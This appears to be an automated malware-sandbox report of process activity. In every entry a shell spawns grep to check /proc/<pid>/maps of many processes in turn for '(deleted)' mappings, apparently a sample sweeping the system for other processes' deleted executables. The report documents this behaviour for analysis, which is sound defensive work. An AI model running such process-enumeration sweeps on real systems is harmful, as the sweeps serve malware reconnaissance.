MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6313, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6313, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1586/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6314, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6314, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1594/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6315, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6315, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1599/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6316, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6316, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/16/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6317, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6317, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1601/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6318, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6318, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1612/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6321, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6321, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1622/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6322, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6322, Parent PID: 6240

General

Start time (UTC):	18:17:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1623/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6323, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6323, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1627/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6326, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6326, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1629/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6327, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6327, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1632/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6328, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6328, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1633/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6329, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6329, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1638/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6330, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6330, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1639/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6331, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6331, Parent PID: 6240

General

Start time (UTC):	18:17:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1642/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6332, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6332, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1648/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6334, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6334, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1654/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6336, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6336, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1656/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6337, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6337, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1661/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6338, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6338, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1664/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6339, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6339, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1668/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6340, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6340, Parent PID: 6240

General

Start time (UTC):	18:17:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1698/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6341, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6341, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1699/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6342, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6342, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/17/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6345, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6345, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/18/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6346, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6346, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1809/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6347, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6347, Parent PID: 6240

General

Start time (UTC):	18:17:10
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1860/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6351, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6351, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1872/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6353, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6353, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1877/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6354, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6354, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1886/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6355, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6355, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1888/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6359, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6359, Parent PID: 6240

General

Start time (UTC):	18:17:11
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1890/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6360, Parent PID: 6240

General

Start time (UTC):	18:17:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6360, Parent PID: 6240

General

Start time (UTC):	18:17:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1900/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6369, Parent PID: 6240

General

Start time (UTC):	18:17:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6369, Parent PID: 6240

General

Start time (UTC):	18:17:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1983/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6370, Parent PID: 6240

General

Start time (UTC):	18:17:12
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6370, Parent PID: 6240

General

Start time (UTC):	18:17:12
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6500, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6500, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/20/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6521, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6521, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2009/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6522, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6522, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/201/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6523, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6523, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2014/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6526, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6526, Parent PID: 6240

General

Start time (UTC):	18:17:13
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2018/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6527, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6527, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/202/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6528, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6528, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2025/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6529, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6529, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2028/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6530, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6530, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/203/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6533, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6533, Parent PID: 6240

General

Start time (UTC):	18:17:14
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2033/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6534, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6534, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2038/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6535, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6535, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/204/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6536, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6536, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2048/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6537, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6537, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/205/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6538, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6538, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2050/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6540, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6540, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/206/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6542, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6542, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2062/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6543, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6543, Parent PID: 6240

General

Start time (UTC):	18:17:15
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2063/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6544, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6544, Parent PID: 6240

General

Start time (UTC):	18:17:16
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2069/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

